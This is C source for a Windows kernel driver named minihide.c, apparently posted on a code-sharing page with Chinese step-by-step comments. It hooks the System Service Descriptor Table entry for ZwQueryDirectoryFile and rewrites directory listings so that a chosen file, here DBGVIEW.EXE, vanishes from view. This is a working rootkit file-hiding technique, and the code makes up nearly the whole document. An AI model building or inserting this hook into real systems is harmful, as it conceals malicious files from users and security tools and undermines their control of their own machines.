📄 minihide.c
字号:
#include <wdm.h>
// http://manbu.net/Lib/Class9/Sub1/56/22.asp
// http://sg.kehui.net/index.php/article/read/1/19809
// http://blog.donews.com/zwell/archive/2005/01/10/232227.aspx
// http://dev.csdn.net/article/21/21216.shtm
// http://www.vchelp.net/itbookreview/view_paper.asp?paper_id=920
// http://www.allife.org/index.php?job=art&articleid=a_20060117_133527
typedef unsigned int UINT;
typedef char * PCHAR;
typedef unsigned long BOOL;
typedef unsigned long DWORD;
#define FileBothDirectoryInformation 3
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
VOID RtlUpperString(IN OUT PSTRING DestinationString, IN PSTRING SourceString);
extern NTSYSAPI NTSTATUS NTAPI
ZwQueryDirectoryFile(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
typedef NTSTATUS (* REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
// 定义一个原函数指针
REALZWQUERYDIRECTORYFILE RealZwQueryDirectoryFile;
// 3. 定义替换 API 函数的原型:
//
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
// -=描述 SYSTEMSERVICE 的定义=-
typedef struct ServiceDescriptorEntry {
unsigned int * ServiceTableBase; // 关键字段, 指向系统服务分发例程的基地址
unsigned int * ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char * ParamTableBase;
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath);
void HideFile_Unload(PDRIVER_OBJECT DriverObject);
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, HideFile_Unload)
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
NTSTATUS NtStatus = STATUS_SUCCESS;
UINT uiIndex = 0;
PDEVICE_OBJECT pDeviceObject = NULL;
UNICODE_STRING usDriverName, usDosDeviceName;
DbgPrint("DriverEntry Called\r\n");
RtlInitUnicodeString(&usDriverName, L"\\Device\\HideFile");
RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile");
NtStatus = IoCreateDevice(pDriverObject,
0,
&usDriverName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&pDeviceObject);
if (STATUS_SUCCESS == NtStatus) {
pDriverObject->DriverUnload = HideFile_Unload;
}
pDeviceObject->Flags |= DO_DIRECT_IO;
pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
IoCreateSymbolicLink(&usDosDeviceName, &usDriverName);
// 4. 在 DriverEntry(驱动入口)函数中加入如下申明:
// 保存真正的 ZwQueryDirectoryFile 函数地址
RealZwQueryDirectoryFile = (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
// 把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = HookZwQueryDirectoryFile;
return NtStatus;
}
void HideFile_Unload(PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING usDosDeviceName;
// 5.在DriverUnload(驱动卸载函数)函数中加入恢复代码:
//恢复原来的函数指针
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = RealZwQueryDirectoryFile;
DbgPrint("HideFile_Unload Called\r\n");
RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile");
IoDeleteSymbolicLink(&usDosDeviceName);
IoDeleteDevice(DriverObject->DeviceObject);
}
// 6. 现在准备工作做好了, 函数指针都已经设置转向了, 剩下的是实现这个我们自定义的
// 替换函数 HookZwQueryDirectoryFile, 代码如下:
//
NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
ANSI_STRING ansiHideDirFile;
// 初始化要过滤的文件名这里是 debug.exe
// 这里字符串是常量, 不用释放
RtlInitAnsiString(&ansiHideDirFile, "DBGVIEW.EXE");
// 执行真正的 ZwQueryDirectoryFile 函数
rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
// 如果执行成功, 而且 FILE_INFORMATION_CLASS 的值为 FileBothDirectoryInformation, 我们就进行处理, 过滤
if(NT_SUCCESS(rc) && (FileInfoClass == FileBothDirectoryInformation))
{
UNICODE_STRING uniFileName;
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
BOOL bLastOne=FALSE;
// 把执行结果赋给 pFileInfo
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pLastFileInfo = NULL;
// 循环检查
do {
ANSI_STRING ansiDesFileName, ansiSrcFileName;
bLastOne = (0 == pFileInfo->NextEntryOffset);
RtlInitUnicodeString(&uniFileName, pFileInfo->FileName); // uniFileName 不用释放
RtlUnicodeStringToAnsiString(&ansiDesFileName, &uniFileName, TRUE); // TRUE, 必须释放
RtlUnicodeStringToAnsiString(&ansiSrcFileName, &uniFileName, TRUE);
RtlUpperString(&ansiDesFileName, &ansiSrcFileName);
// 打印结果, 用 debugview 可以查看打印结果
DbgPrint("ansiFileName :%s\n", ansiDesFileName.Buffer);
DbgPrint("HideDirFile :%s\n", ansiHideDirFile.Buffer);
// 开始进行比较, 如果找到了就隐藏这个文件或者目录
if( RtlCompareMemory(ansiDesFileName.Buffer, ansiHideDirFile.Buffer, ansiHideDirFile.Length) == ansiHideDirFile.Length)
{
DbgPrint("This is HideDirFile!\n");
if(bLastOne)
{
if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
{
rc = 0x80000006; // 隐藏文件或者目录;
}
else
{
pLastFileInfo->NextEntryOffset = 0;
}
RtlFreeAnsiString(&ansiSrcFileName); //===========================
RtlFreeAnsiString(&ansiDesFileName); //===========================
break;
}
else //指针往后移动
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo,
(PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ),
(DWORD)iLeft );
RtlFreeAnsiString(&ansiSrcFileName); //===========================
RtlFreeAnsiString(&ansiDesFileName); //===========================
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)
((char *)pFileInfo + pFileInfo->NextEntryOffset);
RtlFreeAnsiString(&ansiSrcFileName); //===========================
RtlFreeAnsiString(&ansiDesFileName); //===========================
} while ( FALSE == bLastOne );
}
return(rc);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -